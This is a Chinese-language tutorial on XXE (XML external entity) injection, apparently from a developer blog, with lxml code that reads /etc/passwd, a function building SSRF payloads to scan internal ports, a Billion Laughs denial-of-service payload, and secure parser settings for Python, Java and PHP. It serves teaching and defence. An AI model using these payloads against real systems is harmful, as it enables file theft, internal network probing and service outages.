,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SS ...
深入解析XML外部实体注入XXE攻击从原理到实战防御什么是XXE攻击XML外部实体注入XML External Entity Injection简称XXE是一种针对XML解析器的安全漏洞。攻击者通过构造特殊的XML文档使其包含恶意外部实体。这些外部实体可以引用服务器上的敏感文件如/etc/passwd、发起网络请求类似SSRF攻击甚至导致拒绝服务如Billion Laughs攻击。XXE的利用方式与文件包含和SSRF服务器端请求伪造有异曲同工之妙但攻击入口是XML解析。### 核心原理XML允许定义实体Entity分为内部实体和外部实体。外部实体通过SYSTEM关键字引用外部资源例如xml!ENTITY xxe SYSTEM file:///etc/passwd当解析器处理该实体时会读取指定文件内容并插入到XML文档中。如果解析器未禁用外部实体解析攻击者就能窃取数据或发起请求。## 实战示例读取服务器敏感文件### 示例1基本的文件读取假设有一个Web应用它通过POST请求接收XML数据并解析。例如一个用户信息查询接口攻击代码Python模拟python# 攻击者构造的恶意XMLmalicious_xml ?xml version1.0 encodingUTF-8?!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd]root namexxe;/name/root# 模拟服务器端解析使用lxml库默认未禁用外部实体from lxml import etree# 注意实际生产中应禁用外部实体此处仅为演示漏洞parser etree.XMLParser(load_dtdTrue, resolve_entitiesTrue)try: tree etree.fromstring(malicious_xml.encode(), parser) print(解析结果, tree.find(name).text)except Exception as e: print(解析失败, e)输出示例解析结果 root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...注释-!DOCTYPE foo [...]定义了文档类型其中包含外部实体声明。-!ENTITY xxe SYSTEM file:///etc/passwd声明了外部实体xxe指向file:///etc/passwd。-namexxe;/name在XML元素中引用了该实体解析器会将其替换为文件内容。### 防御措施在Python的lxml中正确的防御方式是禁用DTD和外部实体pythonparser etree.XMLParser(load_dtdFalse, resolve_entitiesFalse)## 进阶利用SSRF与内网探测外部实体不仅限于file://协议还可以使用http://、ftp://等协议从而实现SSRF攻击。攻击者可以探测内网服务、扫描开放端口甚至利用SSRF攻击其他内网系统。### 示例2内网端口扫描攻击者构造如下XML尝试访问内网IP的特定端口python# 模拟端口扫描的恶意XMLdef scan_port(ip, port): xml_template ?xml version1.0 encodingUTF-8?!DOCTYPE foo [ !ENTITY xxe SYSTEM http://{ip}:{port}/admin]root dataxxe;/data/root return xml_template.format(ipip, portport)# 假设内网IP为192.168.1.1扫描80端口target_ip 192.168.1.1target_port 80payload scan_port(target_ip, target_port)# 服务器端解析同样使用有漏洞的配置from lxml import etreeparser etree.XMLParser(load_dtdTrue, resolve_entitiesTrue)try: tree etree.fromstring(payload.encode(), parser) result tree.find(data).text if result: print(f端口 {target_port} 开放响应内容{result[:100]}) else: print(f端口 {target_port} 无响应)except Exception as e: # 如果连接超时或拒绝可能端口关闭 print(f端口 {target_port} 可能关闭{e})注释- 此代码通过循环扫描不同端口可以探测内网服务。-http://{ip}:{port}/admin尝试访问内网Web管理页面。- 如果解析器返回错误如连接超时表明端口可能关闭如果返回内容则端口开放。注意实际扫描时攻击者会使用更复杂的错误处理来区分“端口关闭”和“无响应”。## 其他攻击向量Billion Laughs与DoS除了数据窃取和SSRFXXE还可以用于拒绝服务攻击。经典的“Billion Laughs”攻击通过递归实体定义消耗大量内存xml!DOCTYPE lolz [ !ENTITY lol lol !ENTITY lol2 lol;lol;lol;lol;lol;lol;lol;lol;lol;lol; !ENTITY lol3 lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2; ...]rootlol999;/root解析器会尝试展开所有实体导致内存耗尽。## 防御实战安全的XML解析配置在不同的编程语言和框架中防御方法略有不同但核心原则是1.禁用外部实体解析设置解析器不加载DTD、不解析外部实体。2.使用白名单如果必须使用外部实体严格限制协议和来源。3.输入验证对用户提交的XML进行严格过滤检查是否包含!DOCTYPE、!ENTITY等标签。### Python安全配置pythonfrom lxml import etree# 安全解析器禁用DTD和外部实体safe_parser etree.XMLParser( load_dtdFalse, # 不加载DTD resolve_entitiesFalse, # 不解析实体 no_networkTrue # 禁止网络访问)# 安全解析用户输入try: tree etree.fromstring(user_xml.encode(), safe_parser) # 正常处理逻辑except etree.XMLSyntaxError as e: # 记录日志拒绝请求 print(fXML解析错误{e})### Java安全配置javaDocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);dbf.setFeature(http://xml.org/sax/features/external-general-entities, false);dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);### PHP安全配置phplibxml_disable_entity_loader(true); // PHP 8.0前可用$xml simplexml_load_string($user_input, SimpleXMLElement, LIBXML_NOENT);注意LIBXML_NOENT实际上会解析实体应使用LIBXML_NONET禁用网络访问并配合libxml_disable_entity_loader(true)。## 总结XXE攻击是一种古老但依然有效的Web安全威胁尤其在处理用户提交XML数据的API中常见。攻击者通过构造恶意外部实体可以读取任意文件、发起内网请求SSRF、甚至实施拒绝服务攻击。防御的关键在于- 在解析XML时始终禁用外部实体和DTD。- 遵循最小权限原则不解析不必要的实体。- 对用户输入进行严格验证拒绝包含!DOCTYPE等标签的异常数据。作为全栈工程师在开发任何涉及XML处理的接口时必须将安全配置作为默认设置而不是事后补救。理解攻击原理并掌握防御代码是构建安全应用的基础。

相关新闻

AI Compass前沿速览:GPT--Codex 、宇树科技世界模型、InfiniteTalk美团数字人、ROMA多智能体框架、混元D .

AI Compass前沿速览:GPT--Codex 、宇树科技世界模型、InfiniteTalk美团数字人、ROMA多智能体框架、混元D .

AI Compass 前沿速览:GPT-Codex、宇树科技世界模型、InfiniteTalk 美团数字人、ROMA 多智能体框架、混元D 引言:AI 技术的多领域突破随着大语言模型、机器人控制、数字人交互等技术的飞速发展,2025 年第一季度涌现了多项引人瞩目的成果。从 O…

2026/7/27 0:24:30阅读更多 →
LLM文档处理技术实践:从RAG到智能问答系统构建

LLM文档处理技术实践:从RAG到智能问答系统构建

这次我们来看一个关于LLM文档处理的技术主题。随着大语言模型在文档处理领域的应用越来越广泛,如何高效地将PDF、Word等文档传递给LLM进行问答和分析成为了实际工程中的关键问题。本文将从技术实践角度,系统梳理LLM文档处理的核心流程、工具选型和实战方…

2026/7/27 0:24:30阅读更多 →
【剪映AI音量均衡实战指南】:20年音视频工程师亲授3步搞定人声与背景音自动平衡

【剪映AI音量均衡实战指南】:20年音视频工程师亲授3步搞定人声与背景音自动平衡

更多请点击: https://kaifayun.com 第一章:剪映AI音量均衡技术演进与行业价值 剪映AI音量均衡技术已从早期基于RMS(均方根)电平的静态归一化,跃迁至融合深度时频建模、说话人感知分割与上下文自适应增益调度的智能音频…

2026/7/27 0:24:30阅读更多 →
Docker容器存储持久化与性能优化实战指南

Docker容器存储持久化与性能优化实战指南

1. 容器存储的本质困境第一次接触Docker时,很多人会被其"一次构建,到处运行"的特性吸引,却往往忽略了数据持久化这个关键问题。记得2016年我在生产环境部署第一个MySQL容器时,重启后所有数据神奇消失的惨痛经历——这就…

2026/7/27 1:54:46阅读更多 →
从TMS320VC5420到VC5421的DSP硬件平台迁移实战指南

从TMS320VC5420到VC5421的DSP硬件平台迁移实战指南

1. 项目概述与迁移价值在嵌入式DSP开发领域,硬件平台的迭代升级是家常便饭,但每一次升级背后都意味着一次严谨的工程评估与迁移实践。最近,我接手了一个老项目的硬件平台升级任务,核心是将原有的TMS320VC5420 DSP替换为功能更强大…

2026/7/27 1:54:46阅读更多 →
DRA7xx平台Linux启动时间从6.7秒优化至2.9秒全解析

DRA7xx平台Linux启动时间从6.7秒优化至2.9秒全解析

1. 项目概述在嵌入式系统开发领域,尤其是汽车电子、工业控制和智能设备中,系统的启动速度是一个至关重要的性能指标。想象一下,当你启动一辆汽车的中控系统,或者启动一台工业产线上的控制设备,如果系统需要花费近7秒的…

2026/7/27 1:54:46阅读更多 →
千笔AI助力专科生高效完成学术论文写作

千笔AI助力专科生高效完成学术论文写作

1. 专科生论文写作的痛点与破局之道作为一名经历过专科论文写作煎熬的过来人,我深知这个过程中的种种不易。每到毕业季,总能看到图书馆里熬夜赶论文的学弟学妹们,面对空白的文档抓耳挠腮。选题难、框架乱、查重高、格式繁——这些困扰几乎成了…

2026/7/27 1:54:46阅读更多 →
Fedora 43安装微信开发者工具完整指南

Fedora 43安装微信开发者工具完整指南

1. 项目背景与需求解析 在Fedora Workstation 43上安装微信开发者工具是一个典型的Linux桌面环境下运行Windows/Mac专属开发工具的案例。作为国内最主流的小程序开发IDE,微信开发者工具官方仅提供Windows和macOS版本,这给使用Linux系统的开发者带来了不小…

2026/7/27 1:54:46阅读更多 →
Ubuntu系统安装CUDA完整指南与性能优化

Ubuntu系统安装CUDA完整指南与性能优化

1. 为什么要在Ubuntu上安装CUDA?作为一名长期在Ubuntu环境下进行深度学习开发的工程师,我深刻理解CUDA对于GPU加速计算的重要性。NVIDIA的CUDA(Compute Unified Device Architecture)是一套完整的GPU计算平台和编程模型&#xff0…

2026/7/27 1:52:46阅读更多 →
覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

🔹 工具基础介绍 OpenClaw 是开源生态中一款实用性较强的本地智能工具,凭借本地离线运行、可视化图形操作和任务自动化三大核心特性,赢得了众多用户的青睐。与普通在线对话AI工具不同,它属于能够直接操控本机软硬件的智能数字员工…

2026/7/27 1:14:34阅读更多 →
伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

所谓液压伺服阀体的精密激光焊接,是用激光束对阀座壳体(通常为不锈钢或铝合金)进行密封焊接,使阀体在21-35MPa的高压液压油或压缩气体中长期运行而不发生介质泄漏。液压伺服阀是高端液压系统的"大脑"。从航空航天飞行控…

2026/7/27 1:14:52阅读更多 →
D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你是否还在…

2026/7/27 1:14:56阅读更多 →
SPI实战指南:从时钟模式到寄存器配置,解决嵌入式通信难题

SPI实战指南:从时钟模式到寄存器配置,解决嵌入式通信难题

1. 项目概述:从寄存器手册到实战指南 如果你手头有一份类似德州仪器(TI)TMS320x240xA系列DSP的SPI模块技术手册,看着里面密密麻麻的寄存器位定义、时序图和公式,是不是感觉头大?这份资料虽然权威&#xff0…

2026/7/27 0:00:24阅读更多 →
【JAVA毕设源码分享】基于springboot的水果购物管理系统的设计与实现(程序+文档+代码讲解+一条龙定制)

【JAVA毕设源码分享】基于springboot的水果购物管理系统的设计与实现(程序+文档+代码讲解+一条龙定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

2026/7/27 0:00:24阅读更多 →
2007-2023年各市区县生态文明建设示范区DID

2007-2023年各市区县生态文明建设示范区DID

数据简介 自改革开放以来,我国依赖高投入、高资源消耗和高污染等传统发展模式实现了经济短期内的快速增长, 然而这也导致了严重的生态环境危机。因此,国家有力于推动企业高质量经济发展,协同生态保护的方针,从而从201…

2026/7/27 0:00:24阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/25 23:03:25阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/26 19:05:21阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/26 19:05:21阅读更多 →